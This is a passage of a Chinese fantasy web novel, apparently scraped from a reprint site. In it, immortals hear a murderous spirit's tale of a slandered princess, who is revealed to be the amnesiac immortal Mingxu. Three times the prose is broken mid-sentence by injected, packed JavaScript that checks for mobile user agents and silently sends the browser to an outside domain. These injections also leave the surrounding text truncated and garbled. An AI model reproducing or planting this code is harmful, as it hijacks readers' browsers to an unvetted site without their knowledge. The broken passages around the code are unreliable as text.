她盯着唐禾将那些戏本放回了原处,随即又道:“此事虽蹊跷,但我们的精力还是应该集中在魔界的事情上,这里交给驻在凡界的仙吏就好,我会联系温隐。” 明煦一脸迷惑:“啊?不查了?” 青晏果断道:“还是魔界的事更要紧。我方才与丞五见面时得到了不少线索,基本确认了之前的猜测,是时候一起回天界向宸景汇报了。” “这,这就回去了?”明煦更迷茫了,“我们不接着往下查吗?” 青晏没再多言,直接转身向外走去,似是一刻都不愿意再在此处停留。 唐禾跟在后面急急道:“要不让我和颜故留下继续查吧,万一那真凶继续动手,或是在仙吏赶来之前已经逃远了呢?” 他知事有轻重缓急,魔界阴谋事关整个天下安危,自然要比这三个死人重要得多。 但自己有着比凡人多出千万倍的寿命,也有着凡人梦寐以求的法力,作为一个神仙,就该用这份能力去保护这世间的万千生灵,不让他们遭受伤害。 虽然这三人已死,但真相尚未查清,凶手尚未落网,他委实放心不下。既是要回天界汇报,自己不在也不会有什么差别,可此处不同,他心亦不同。 “不会,”青晏迈过门槛,“动手的是执灵,没那么大能力,死这三个人已是极限,它也无处可逃。” 这世间杀人后会留下怨气的不仅仅是幽冥鬼族,还有一种极为罕见的东西,那便是由人死前最后的执念所化而成的执灵。 执灵的形成条件极为苛刻,首先这道执念必须足够纯净坚定,这才能使得它有独自在人界存留的能力,而不是只能随着魂魄一同前往幽冥;其次,须得有一与它极为相容的法器作其居所,方能使其多年不散。 且执灵也无法长久离开容纳自己的法器,否则便会渐渐消散,所以这名刚刚动手杀人的执灵此刻定然只能躲在那个法器里,无法逃离出去,所以只待仙吏一到,便能将其即刻缉拿。 而正因为执灵只是一段执念所化,所以除非是正好碰触到了这段执念最不能容忍之处,执灵通常来讲并不会主动伤人,就算伤人,怨气也只能存留在其攻击的地方,不会向外蔓延。 所以当青晏一看到那三人尸体时,心中便已开始怀疑此事为执灵所为,只是后来那戏本上的内容明晃晃地提醒着她,此事绝非单纯执灵伤人这么简单,而是一个精心策划的圈套,就连他们来到许州,甚至黄延福请这个戏班子来为他贺寿,说不定都是这个圈套的其中一环。 所以不管这执灵因何伤人,他们都必须离开此地,离开人界,就算失去能将袭击明煦的幕后黑手引出的机会,也断不该再在此处停留一刻。 她忍不住回头看了一眼虽然懵懂但仍旧听话地跟着她往外走的明煦。 绝不能,绝不能让明煦看见那个戏本,以及那个不知躲藏在哪的执灵。 青晏心绪繁杂,脚步变得更快。 明煦也快步跟了上去,但却在路过一条狭窄过道时不小心碰掉了一个箱子,里面所装的布景道具随即散落一地。 一个有些昏暗的水晶杯在地上“骨碌碌”地翻滚起来,一路滚动到了明煦的脚下,轻轻贴在了她那绣着云纹的鞋上,好似正在无声地依偎着她。 明煦低头看了一眼,旋即面色一喜,弯腰将其拿在手中,对青晏欢快叫道:“快来,这杯子上有和尸体上一样的怨气!” 青晏猛地回头,想要阻止却已来不及,明煦已然对着那水晶杯驱动了法术,一道灰蒙蒙的人形开始在空中若隐若现,很快便凝成了实体。 执灵现身了。 青晏深吸一口气,电光火石间不动声色地给明煦连套了三层防护法罩和一个幻颜术,这才略略放下心来,手指一动便要将那执灵的意识给封存起来。 可就在此时,她却感受到身旁传来一道视线。转眼一看,颜故正微皱着眉,目光不断在她、明煦和执灵三者间来回扫视,像是在无声地做着他最擅长的事——抽丝剥茧。 青晏闭了闭眼,手指慢慢垂下。 算了,不能冒险让颜故看出端倪来,事到如今只能赌一赌,赌那执灵认不出被她变幻了容颜和气息的明煦,也赌就算他被问出些什么,明煦也依旧会像裂魂琵琶那次一样想不起来。 颜故的眼睛慢慢地眯了起来。 他从未在青晏的脸上见过如此紧张严肃的表情,就算是此前面对强横如裂魂琵琶这般的对手,她的神色也没有像现在这般,仿佛有一根看不见的弦在眉宇间绷得极紧。 纵使她已经在全力让自己放松,可对于已经看习惯了她那张波澜不惊的面容的自己来说,这些变化就仿佛万里无云的黑夜中唯一的那一弯明月一样,清晰得无处遁形。 究竟是什么事,能让无论面对什么情况都处变不惊的仙子,露出这样的神情呢? 颜故移开视线,若有所思地望着那刚刚凝出实体的执灵。 执灵缓缓睁开双眼,紧皱着眉看着就站在他面前的明煦。 青晏的心提了起来,直到见执灵没什么反应地转开眼,又将他们几个人都挨个看了一遍,这才松了口气。 执灵垂下眼,颇为自嘲地冷哼了一声:“看来我的命数,无论如何都算不得好。” 唐禾深深皱起眉来:“你杀了人,然后说自己的命数不好?” 他的话音在“自己”上重重咬了咬,执灵却不甚在意:“自然。我在杯中昏睡多年,结果第一次动手就有仙家前来捉拿,这还不够倒霉吗?” 执灵那本就有几分阴郁的面庞上透着浓浓的倦意:“关起来也好杀了也好,我认了,动手吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403731|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唐禾仍是没忍住:“可你为什么要杀人?还下那么重的手?” “我为什么要告诉你。”执灵不耐烦道,“要动手就赶紧,少废话。” 有几个杂役朝这边走来,低声讨论着那个许州首富黄老爷子实在太不近人情,班主都已经死于非命,还偏要他们仍旧按时开唱,说什么又不是死了角,该唱就得唱,不能耽误了寿宴,否则要他们好看。 话音刚落,执灵原本那副死气沉沉的模样竟霎时变得凶悍,浑身灰雾升腾翻滚,显然是被彻底激怒了。 明煦伸手将扑向那几个杂役的执灵拦下,喝道:“别动!还想杀人?” 执灵猩红着眼:“这戏不能唱!!!” “什么?”明煦不解地问了一句,接着便反应过来,“你,你不会是为了让这戏唱不了,这才把那三个人弄死的吧?” 执灵喘着粗气不做声,算是默认了她的猜测。 “不是,究竟什么戏本能让你气成这样啊?”明煦好奇心一下子被点燃了,招呼着唐禾把那些戏本再翻一遍,“看看哪个是黄老爷子要听的新戏?” “这不重要,”青晏立即道,“时间紧迫,既已找到执灵了便赶紧回天界吧,还有好多事需要商议。” “一眼,就看一眼,”明煦火速从唐禾手中拿过新戏本,“《终误了》……这不就是一个傻公主爱上邻国皇子结果被对方利用,最后国破家亡,自己也含恨而终的凄美小悲剧吗?这有什么好让你……” “公主根本不是这样的!!!”执灵咆哮,“是这戏在恶意歪曲!!!” 他对着那三人尸体的方向一指:“这戏本从头到尾都是那帮渣滓在胡编乱造,公主从来没有叛国,从来没有爱上那个什么狗屁皇子,写出这样的东西来污蔑公主,他们就该死!” 不及任何人回答,他轻蔑一笑,面容愈发狠厉:“他们这群人既然被猪油蒙了心,我便将那颗心好好烤上一烤;那戏本先生既然用自己的笔杆子随意糟践人,我便叫他从今往后再不能握笔。怎么样,很公平吧?” 他话音虽低沉了下来,可那字里行间透着的刺骨阴毒却仍旧打着旋钻进耳中,让人不禁心生寒意。 明煦眼睛瞪得圆圆的。 公不公平的另说,可是听他这话的意思,怎么感觉这戏本所讲的故事居然有原型,而且这执灵好像还认识那个公主啊? “要杀要剐悉听尊便,我只求你们把那戏本给我,让我把它毁掉,让这戏再也唱不成。” 明煦的好奇心已经燃到不能更旺盛,好想干脆答应下来好让这执灵讲讲真正的故事,但又怕真的毁了戏本会影响到戏班子里的其他人,毕竟刚才那几个杂役不是还说如果唱不了戏,黄老爷子就要如何如何…… 她还未来得及做出任何反应,一声轻响从她手心传出,诸多已然化成齑粉的纸屑沙沙落下,像一场突如其来的冷雪,悄然将地面覆上了白。 青晏放下微微抬起的手指,垂眼望向那片雪白:“毁了。” 执灵先是怔忡了一下,而后开始放声大笑,笑声里充斥着无尽的快意与扭曲的解脱。 半晌后他停止笑声,闭着眼扬起苍白的脖颈:“动手吧。” “哎——”明煦怕青晏真的动手,赶紧出声阻止,“那个,要不……先问问他是不是有什么苦衷?” 48.公主 “再有苦衷也是杀了三个人啊!”唐禾脱口而出。 他第一次反驳明煦,话刚一出口便感觉自己的舌头有点打结,但他还是坚持着说了下去:“就算这三人再怎么十恶不赦,也不该由他来进行私刑惩治。更何况他们不过是改了些戏本,罪不至死啊!” “罪不至死?”执灵轻柔地,一字一字地重复道。 他的声音如同毒蛇吐信般嘶嘶作响:“那公主就活该因为她从未犯下的过错而蒙受屈辱,受万人唾骂吗?我们大瑜国最惨痛最绝望的那段历史,就该被这么蹂躏亵渎,让人随意篡改吗?” 执灵缓缓逼近唐禾:“既然你们神仙这么爱世人,那公主受苦受难之际,你们又在哪呢?” 青晏的视线飘忽了一下。 这个嘛…… 颜故将她的变化收入眼中,心中逐渐升起一个连他自己都觉得有些离谱的猜想。 他又看向与执灵对峙着的唐禾,看见一贯好脾气的他被执灵激怒得提高了音量:“你自己也曾经是人,为何如今化作执念便觉得杀人无错!” 执灵像是听见了什么极为好笑的笑话一般哈哈大笑。 他笑得畅快淋漓,许久后方停下来,歪着脑袋对唐禾露出一个阴冷的笑容:“我还活着的时候,也不觉得杀人是罪啊。” “我可是公主身边的首席谋士,陪她一起在尸山血海里厮杀,手上不知沾了多少敌人的鲜血,我只会恨……杀得还不够多。” “公主?厮杀?”明煦敏锐地捕捉到了关键词,“你们公主这么厉害,居然都能去打仗的吗?!” 她没在人界待过多久,自然也没见过什么公主,对“公主”这个身份唯一的理解,全都来自于她看过的各类话本以及戏曲。 那里的公主或跋扈或纯真,或搅弄风云或为爱痴狂,却极少有像执灵口中的那位公主一样,有着可以亲自上阵杀敌的英勇无畏。 闻言,执灵的面部线条迅速柔和下来。 他的目光在明煦身上落了落,随后便缓缓抬起眼,望向了漂动着柔软云团的清澈天空。 明煦盯着他看。 没了戾气萦绕的执灵嘴角带笑,周身气息儒雅平和,看起来确实很像一个运筹帷幄的谋士。 “你说的不错,”他喃喃道,似是陷进了无尽的缱绻美梦里,“公主就是这么厉害。” 他指了指早已被放到一边的水晶杯:“杯子有了裂痕,我已经回不去了,不出半个时辰便会消散。” “在那之前……”执灵声音微颤,“可以听我讲一讲真正的故事吗?” 他还是人的时候便不怕死,如今成了一段执念,自然也不怕消散。 他只怕这世间无人再了解真相,无人再为公主喊冤,无人再……记得公主。 青晏下意识地就要阻止,可转念一想方才明煦看过戏本后也毫无反应,想来应该不会想起什么,便按住心思,没有出言反对。 执灵的声音温和极了。 大瑜国唯一的公主,帝后独女,与其兄长乃龙凤胎诞生,自幼热爱习武,天赋颇高。大瑜历年平安无战事,帝后又对公主极为宠爱,便在她及笄后封了个英华将军的名号给她,权当哄着她玩。 可公主却当真了,自此每日刻苦研读兵法,还学着其他将军的模样,招了从小和自己一起长大的玩伴做她的首席谋士。 执灵低头笑了起来,像是回忆起了什么趣事:“自从成了公主的首席谋士后,我与她练兵,布阵,研讨兵法;闲暇时间也会喝酒,骑马,下棋。公主酒量不错,也善御马,就是下棋不太擅长。不过这其实也不能怪她,棋局枯燥,公主哪里坐得住呢。” 这样的日子大概过了一年多,邻近大瑜的凛国派了二皇子携使节团来访,宴席间与公主得见,第二日便奏请大瑜皇帝,称对公主一见钟情,想以这门婚事与大瑜国缔结同盟。 公主回绝得极快,可那凛国二皇子随即便大张旗鼓地对公主示好,高调到几乎全都城百姓人人皆知,凛国二皇子对公主情根深种,非她不娶。 执灵发出一个轻蔑怨毒的冷哼:“但那二皇子只是觉得,若是能与大瑜结上亲,自己便能利用这份政治力量,在立储之争中多一点优势罢了。见公主不为所动,他便立即改变方向,打算寻机打探些大瑜的机密回去,倒也能给他增加一点胜算。” 此前在与公主的接触中,他便结识了公主的贴身侍女幼霜,改变策略后,他便转为偷偷私下寻机接触幼霜,对其示弱诉苦,哄得她降低了警惕,哄得她对他逐渐动了心。 而后便是挖空心思地创造可以令幼霜稍作懈怠的机遇,终于在那一天,凛国二皇子成功潜入公主的书房,窃取到了公主本来正在研究如何进行改善的边防布阵图。 得手后,他立即回国率领军队攻打大瑜,有了这份边防布阵图,边关战士节节败退,几百年未曾经历战事的大瑜被打得措手不及。 更糟糕的是,此时大瑜的太子殿下,也就是公主的孪生哥哥突然消失得无影无踪,帝后心急如焚,精神恍惚。 都城内流言四起,有说是太子被凛国所擒,也有人说是太子为保命自行逃离,更有甚者称公主是个灾星,是她引来了凛国皇子;还有人说公主为爱冲昏了头脑,说不准连边防机密都是从她那流出的,不然边关怎会如此迅速陷落云云。 公主丝毫不为流言所动,毅然请命前往边关迎敌。帝后万般不舍却拗不过公主的决心,只得允准。 执灵怔怔地:“我跟着公主不停地厮杀,可就是杀不尽,冲不破。大瑜太久没有战事,许多士兵入伍只是为了混口饭吃,打了几次败仗后便士气溃散,军心不稳,公主也因此身受重伤不能再战,不得不回到都城休养。” 可待她回到都城时,流言已经越传越离谱,已经演变到了公主野心勃勃,特意以整个大瑜和太子的性命相送,确保凛国吞并大瑜后自己可以顺理成章地成为凛国皇后,尽享权力之巅,此次请命前往边关也是在演戏,不至于让自己的名声太过难看。 “我一路随公主回府,听见那些污言秽语心如刀绞,恨不得撕烂这些人的嘴,可公主却说他们只是太害怕了,除了骂一骂也没有什么别的办法。与其分心处理这些,还不如尽快想出办法破敌,届时谣言便能不攻自破。” 执灵的双眼逐渐漫起一抹红:“公主回府换了身衣服便要进宫面圣,可她这一去便再没能回来,活不见人,死不见尸……” “可我知道,公主一定是死了。若她还活着,绝不可能就这么抛下陷入战火的国家……”他艰难地梗了梗喉头,“也正是因为公主也失踪了,大瑜彻底大乱,凛国以迅雷不及掩耳之势占领了都城,杀死了帝后,大瑜,就这么灭了。” 他侥幸存活,屡次躲避过了凛国的追捕,在乡下改名换姓,苟延残喘,就算心知肚明公主几乎已无活着的可能,却依旧日复一日寻找着公主。 放不下,舍不弃,寻找到公主几乎已经成为了他人生中唯一的执念,直到他在这个偏僻得不能再偏僻的小山村里,听到了和之前都城内一样的谣言。 他被彻底激怒了,可却也悲哀地清楚这一天总是会来。历史向来由胜利方书写,如今凛国已然吞并了大瑜,那位二皇子也凭借着赫赫战功成为了当仁不让的太子,权势滔天,自然会对这样的谣言推波助澜,彰显他所谓的魅力和才智,稳固他的地位。 但他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我只是……我只是想找认识幼霜的人说说话。”皇子的眉头奇异地抽搐着,“杀的太多了,现在这样的人竟然只剩你一个。” 他看着酒杯嗤笑了一声:“今日过后,怕是一个都不会有了吧?” 凛国二皇子将自己面前杯中酒饮尽,对他露出一个有几分扭曲的笑容,说自己还是喜欢和聪明人对话。 “和我多说说幼霜吧,”空酒杯中再次被注入酒液,“你与公主走得很近,想必也能和幼霜熟悉。多说一件她的事,你便能多活一阵。” 他不想多活。 但他现在还不能死。 他在桌前坐下,望着自己面前那个晶莹剔透,仅有一丝丝云雾般花纹的水晶杯。杯中酒液泛着奇异的光芒,一看便知是封喉剧毒。 他对幼霜并没有过多印象,但现在他需要时间,于是便慢慢讲了起来。凛国二皇子一杯酒接一杯酒地入喉,神情愈发痛苦,手也越来越抖。 啊,等到了。 他脸上逐渐染了笑意。 若没有酒的催发,那书页上所淬的毒根本不会发作,所以就算侍卫再怎么小心翼翼检查也没有关系,从进殿看到桌上的酒那一刻起,他便知道他赌对了。 他大笑着看凛国二皇子手中的话本落地,大笑着看他口中喷涌出鲜血,大笑着看殿外的侍卫全副武装地向他奔来,然后一口饮尽了自己面前那杯蚀骨毒酒。 他倒在地上,目光涣散地盯着那个凝聚了所有真相的话本,心中唯留一缕念头,随着他生命的流逝越来越响。 若人死后有灵,自己定要让这话本和歌谣继续传播下去,让世人明白公主的果敢,知晓公主的冤屈。 他的眼睛逐渐睁不开了,这番长长的念想,也只变成了两个字在心头不住盘桓。 公主。 公主…… 49.明煦 “再有意识时,便听到周围咿咿呀呀的唱戏声了,”执灵淡淡地朝那三具尸体的方向瞥了一眼,“我力量有限,动手后已无余力再去毁掉那被他们改得面目全非的戏本,只能回到杯中休养。本打算以后再寻机解决,可你们却来了。” 他看了看自己越来越透明的身子:“这回……怕是要真的永别尘世了。倒也没什么舍不得,只是还有一点牵挂未了。” “公主死后,可有被妥善安葬?如今又是否早已转世成人,过得可还安好?我好想……好想再见见她……”他的声音轻得像一缕随时要飘散的雾,“待魂归幽冥,我便要在那等着。不拘多少岁月,我定要等到才算完。” 漫长的沉寂过后,青晏突然开口:“等到之后呢?” 执灵缓缓挪动着眼珠,漫无焦距地看着前方,半晌后才哑着嗓子道:“没有之后。” 见到了,便证明公主已有了崭新的人生,他绝不会让自己这段沉重阴郁的执念,将她重新拖回那段早该被遗忘的惨痛往事里。 “远远看上一眼便已足够了,”执灵面上逐渐浮起一个带有几分希冀的浅笑,“不知这一天……何时会来呢?” 一阵凉风拂过,他突然看见他的公主正睁着一双泪眼婆娑的杏眼,一边吸着鼻子一边道:“这也太感人了,你,你一定会等到那个公主的……” 执灵浑身流淌着的郁气仿佛都在此刻凝结。 是梦吗? 他恍惚地看着公主转过脸去,对她身边那位神色寡淡的仙子扁嘴抱怨:“我就说他有苦衷吧!好好的一个公主,让坏人算计成这样,死后都没个好名声,还被写进了奇奇怪怪的戏文,真是够倒霉的。要是我的话,我也生气。” 执灵愣愣地盯着她,记忆中的身影和眼前的人不住地重叠,直激得他眼中一直含着的泪突破了禁锢,在脸上恣意地流淌。 他赶紧擦掉泪水,贪婪地看着眼前的一切,瞳孔中的欣喜若狂和不敢置信疯狂地交错着。 公主,公主…… 执灵浑身僵硬,生怕这全然是自己消散前的幻觉。 他像要抓住什么救命稻草一般,惶然地看向那个面容如一汪深泉般平静的仙子。 青晏接收到他的眼神,几不可察地对他点了下头,瞳孔中深邃眸光缓缓翻涌。 那是一万年前的事了。 那时她心血来潮下界游玩,即将回归天界时却被一道突然爆出的冲天黑气吸引走了全部注意力。现在想来,应是那位叫幼霜的侍女打探来的以身献祭的秘法确实起了作用,将她这个神仙成功引了过去。 但彼时青晏唯恐是妖魔作乱,急匆匆朝着那道黑气的方向赶去,可它却在七扭八拐地把她引进一条小巷子里后立即消失得无影无踪。 一袭浓重的血气飘进青晏的鼻腔里。 她顺着这道血气的方向看去,巷子的尽头躺着一个浑身浴血的女孩,胸腔已经几乎没有起伏,眼见着便要魂归天外。青晏刚要发出叹息,却猛地发现那女孩身上竟然萦绕着一丝极淡的仙气。 青晏情不自禁向那女孩迈去。 那丝仙气虽淡到几乎令人难以觉察,但那道极为特殊的,肃穆庄重的气息,自己绝不会认错。 那是宸景的气息。 可这女孩分明是凡人,身上为何会有和宸景一模一样的仙气? 瞧她年岁,正好是和十几年前宸景被兆邈天帝派至人界轮回历练的年头相符,该不会是和宸景有什么关联吧?说起来宸景现在应该还没回去,仍旧是个凡人,自己也没法给他传念…… 为了以防万一,青晏还是将这个奄奄一息的女孩带了回去,打算等宸景回来后再问问他究竟是怎么回事。 可没想到刚回到天界的第二天这女孩就醒了,一脸迷茫地问着青晏自己是谁。瞧她那副已经完全不记得前尘往事的模样,青晏突然就犯了难,不知该不该将实情说出。 早在带她回来之前,青晏便已通过仙术将其所经之事尽收于心,但她实在不知该如何与这女孩解释这一切。 说些什么好呢?难道要和她说,你的国家气数已尽,很快就要被敌国彻底吞并,而你的父母、亲友尽数皆亡,你此前所付出的一切全都没有了任何意义吗? 这太残忍了。 所以她沉默了片刻,面上浮起一个颇有几分欣慰的微笑:“你是我府中一盏琉璃灯内长燃了五千年的神火。” 为了让女孩相信,青晏特意增添了许多细节,比如这盏灯就挂在自己书房里,日日伴着自己读书,而女孩之所以能化形,也是因为自己不小心爆了一缕灵力出来才将她催化成人云云。 那女孩十分欣喜地瞪圆了眼睛,表示自己真是太幸运了,竟然能有如此巧妙的机缘,又缠着青晏说既是她将自己催化形的,那么自己的名字合该让青晏来取。 青晏头一次被人对着撒娇,真真是被女孩缠得晕头转向不知所措,于是犹豫着舍去了女孩的姓氏,将她的名字原封不动地告知于她。 明煦。 大瑜国唯一的公主,黎明煦。 明煦高兴极了,乐颠颠地说这个名字真好听,她好喜欢,又大肆夸赞了一通青晏起名水平多么多么高超绝俗,给青晏听得浑身直难受。 好容易将明煦应付过去,青晏本想再去打探一下宸景何时才能从人界回归,如樱却急匆匆地奔了进来,告诉她魔界突袭并成功占领了妖界和幽冥界,下一步就要对天界开战的消息。 大战结束后她才得知,原来兆邈天帝从魔界不断的小动作里敏锐地预感到即将有大事要发生,于是提前结束了宸景在人界的轮回,将他召回天界备战。 宸景在大战中身负重伤,昏迷了近一个月,醒来后第一件事便是传念给青晏。青晏被他那沙哑得不成样子的声音结结实实吓了一跳,忙不迭地翻出一堆丹药秘宝,匆匆赶去他的府邸送上慰问。 然而宸景却看都没看她带来的那些东西,反而直勾勾地盯着她,语气极为诚恳:“我有一事相求。” 宸景从未用这般郑重的语气和她讲过话,是以青晏将已到嘴边的明煦之事暂时咽了下去,认真地回他只要是自己力所能及之事,绝不推辞。 斜倚在床头的宸景闭了闭眼,哑声道:“人界有一国,名为大瑜,能不能……帮我打听下它的现状?” 青晏的脸色别提变幻得有多精彩了。 她将仍在闭眼呢喃着的宸景上下打量了个遍,听着他道:“我就这么不负责任地突然丢下他们离开了,也不知凛国究竟有没有打到都城……” 丢下他们……离开? 她忍不住问道:“……你不要告诉我,你在人界时的身份,便是大瑜国那个突然失踪了的太子殿下,黎明璟吧?” 宸景猛地从床上支起身子,顶着一张苍白的脸急切道:“你怎会知?” 青晏叹了口气,看向宸景的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465710|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光里多了几分悲悯。 果然是他。 明煦记忆中那个对她一向极为亲切宽和、宠溺有加的孪生哥哥——瑜国的太子殿下,黎明璟。 然而因入人界轮回,黎明璟的容貌与真正的宸景大不相同,以至于初探明煦记忆时自己并没有认出他来。 青晏慢慢道:“大瑜的情况,不用打听了。你想了解的事情,我应该都能告诉你。但是在那之前,有一个消息应该还是让你提前知道比较好。” 她顿了顿:“黎明煦在我这里。” 宸景的瞳孔急剧放大,浑身僵硬地听青晏讲着她是如何救下明煦,而大瑜又是如何在他与魔界鏖战时被凛国吞并,帝后双双陨命。 “现在想来,应是兆邈天帝想磨炼你的心性,所以特意挑了一个气数将尽的国家,让你作为太子无论如何力挽狂澜也无济于事。只是没想到魔界突然袭击,这才不得不将你召了回来。” 宸景低声道:“所以这无力回天的命运,便叫我妹妹承担了,对吗?” 青晏沉默了片刻:“不过最起码明煦还活着,也什么都不记得了,日日在我那耍刀舞枪的开心得不行,最近还多了个看话本的爱好,也真的信了自己是神火所化,在那有一搭没一搭的练着法术呢。”她观察着宸景的神情,“你要……与她相认吗?” 宸景木然摇头:“你既都觉得告诉她真相是一件残忍的事,我作为她的兄长,难道就舍得吗?就这么维持现状吧,我知道她过得好就行了。” “说起来,她身上为何会有你的仙气?莫非是因为你二人乃同胞所生,血脉相连,所以她身上沾染了你的气息?” “不仅仅是沾染了我的气息那么简单。”宸景的声音放得极轻。 他没再说下去。 青晏明白他的顾虑,遂立即设下一个寂音结界,宸景这才再度开口:“明煦身上,有一缕我的仙魂。” “我不清楚具体缘由,或许是把我投入轮回时出了些许差池。虽说只有极为细微的一缕仙魂,但我现在毕竟已非全盛之态,将来在仙法修行上应会略有桎梏。” 青晏心中一紧:“可有什么恢复的办法?” 宸景摇摇头:“除非强行将那缕仙魂从她身上剥离。但这么一来,无人能预料到明煦身上会产生什么样的变化,是否还能活着都不一定。我不想冒这个险,差一点便差一点吧,不妨事。” 见青晏眉头紧锁,他反倒安慰起她来:“别担心,这缕缺失的仙魂对我的影响,还不如你那天生的懒散对你的影响大呢,你都能过得好好的,我又差什么?” ……这是在拐着弯骂我? 青晏轻轻磨了磨牙,还是打算不和伤员计较。 宸景见状先是笑了笑,随后便敛去笑意向青晏正色道谢。 而后他轻叹一声,话音里也带了几分歉疚:“我知你喜欢清静,明煦在你那定是没少给你填麻烦……” 青晏淡淡地截住他的话头:“我与她相处得还不错,没觉得麻烦。倒是你,接下来对她有何打算?” 宸景垂首沉吟了片刻,缓声道:“明煦身上既有我的一缕仙魂,自然也能修行仙法。尽管肯定会有些滞涩,但若不离开天界也不会遇上什么危险,略学些能自保的法术便够了。” 他又抬起眼来,目光灼灼地望向青晏:“你也会护着她的,对吗?” 青晏沉静地注视着他。 “我会。” 50.心软 这一护,便是一万年。 自从宸景彻底恢复后,他便常常找机会溜到青晏府中,偷看上明煦几眼便心满意足地离开。而每次他走后,青晏府中总会莫名其妙地冒出一大堆仙丹灵药,每一样都被青晏挖空心思寻出借口,一点点把它们喂进明煦的肚子里。 几千年过去,明煦就靠着一缕宸景的仙魂、这许多的仙药、和宸景寻机输送给她的灵力,逐渐成长为了一个真正的神仙,得了个燃乐仙姬的封号,有了自己的府邸,但她还是爱往青晏这里跑,而青晏也乐得和她待在一起,甚至还特意为了明煦爱吃美食的脾性,和宸景要了几个厨子,玄镜宫里就这么热热闹闹地多出来一个膳房。 再往后的日子里,明煦也从未有一刻回想起那些过往,青晏与宸景一直高悬着的心,也就在这段缓缓流淌着的,平和安逸的日子里慢慢放下了。 直到今天。 青晏看着泪流满面的执灵,思绪万千。 她其实知道自己不该心软的。 万一这执灵情绪失控直接强行与明煦相认,那么她与宸景小心翼翼守护了万年的,那个对自己的过去浑然不知,所以一直这么快乐自在、潇洒恣意的明煦,即刻便会陷入怅然苦闷的漩涡,被迫背负起那段除了能让她感知到痛苦和无能为力之外,毫无意义的过去。 可既然无论是裂魂琵琶释出的幻境,还是执灵全盘托出的故事,明煦均无任何想起前尘往事的迹象,执灵自己也说只需看上一眼便足以心安,那么,就冒一次险吧。 就让执灵单方面地和她见上一见,不要再让这个已经在痛苦的执念里困囿了足足一万年之久的魂灵,再在幽冥长久地、满怀希望地、日复一日地等待着一个永远不会出现在那里的人了。 执灵满脸的泪痕终于引起了明煦的注意。她微张着嘴,惊讶道:“这位……大哥,你怎么了?” “没什么,没什么……”执灵立刻伸手抹了把脸,绽出一个从眼角到眉梢都透着心满意足的笑容,“只是觉得你说的很对,公主若还有知,应该也会这么想……” “是吧!”明煦一拍手,“毕竟大家都是习武之人,性格总不会差太多。虽然说你的公主可能确实是有点倒霉,不过不是有个说法叫什么否极泰来嘛,这么想的话,她下辈子肯定会过得很好的,对不对?” 执灵极力地控制着自己,可眼里还是重新闪出了泪光:“对,公主一定会过得很好的……” 他不知道自己究竟积攒了多少世的福德,才能再自己彻底消散前再度得见公主,他也不知道公主究竟为何会成为了神仙,又忘记了过去的一切,但见她完好无损,生龙活虎地站在自己面前,他便已经幸福得快要不能自已,根本不在乎其他任何事了。 执灵的脸转向青晏,目光却紧紧锁着明煦,嘴唇不住颤抖:“谢谢……” “嗨,谢什么呀,我是真心实意这么想的……”明煦咕哝着。 青晏却知道执灵究竟在谢谁。 他在谢自己。 谢自己给他机会述说憋闷在心中的过去,谢自己一直以来对明煦的保护,谢自己心软,肯圆他一个愿。 但他又实在舍不得把眼睛从明煦身上挪开,所以只能用这样一种怪异的姿势说出口。 眼见着执灵的颜色越来越透明,青晏赶紧问道:“你可知那个容纳着你的水晶杯是如何成为了这戏班的道具?在此之前又一直存放在何处?” 心软归心软,这装着执灵的水晶杯的来历必须要打探清楚。就算这戏班再怎么有名气,也绝不可能用一只有着万年历史的古董水晶杯做道具,这必定是被有心之人特意存放在此处,专门等着激一激明煦,好让她想起那段陈年旧事所用。 可那段往事,本该只有她与宸景知晓。 执灵见她神色严肃,心知此事定然极为重要,可他在杯中的这万年岁月里,除了混沌与痛苦之外并无其他任何感知,只得艰涩地摇了摇头。 他低头看了看自己那已经几乎看不出轮廓的身体:“对不起啊,没能帮上忙。” “没事没事……”明煦不忍地开口,“对了大哥,你叫什么名字啊?” 不知为何,她有点不太想用执灵这个笼统的指代来称呼面前这个如此重情重义之人。她总觉得自己起码应该知晓他的名字,给他最基本的尊重,即便……他很快就要消散。 “……云朗,”执灵定定地看着她,“我叫云朗。” 空中已几乎看不出执灵的轮廓,云朗努力地睁眼看向明煦的方向,听着她喃喃重复着自己的名字,心头忽然涌上一股前所未有的安宁。 原来神仙,真的开眼了。 见执灵彻底消散在他们眼前,四人竟都不约而同发出一声轻叹,就连曾经对执灵动手杀人一事极为愤慨的唐禾,此时的面色也没有方才那么紧绷。 他抿了抿唇,声音有些低:“人界的衙门肯定是查不出什么了,我们接下来该怎么做?” 青晏沉默了一阵:“……扮作道士过来做个法吧,就说这戏触怒了冤魂,再唱不得了,否则便会被厉鬼缠身,想来那个黄老爷子是个惜命的,听见这般说辞后绝不会再逼迫他们了。” 明煦自告奋勇:“让我演!我在话本上可看过不少这类台词!” 青晏点头允诺:“快去快回,别演过头。” 明煦嘻嘻一笑,登时变作一个仙风道骨的白发道长。她得意地甩了甩手中突然多出来的拂尘,支棱着两片大袖子,昂首阔步地带着扮作小道童跟在她身后的唐禾走了。 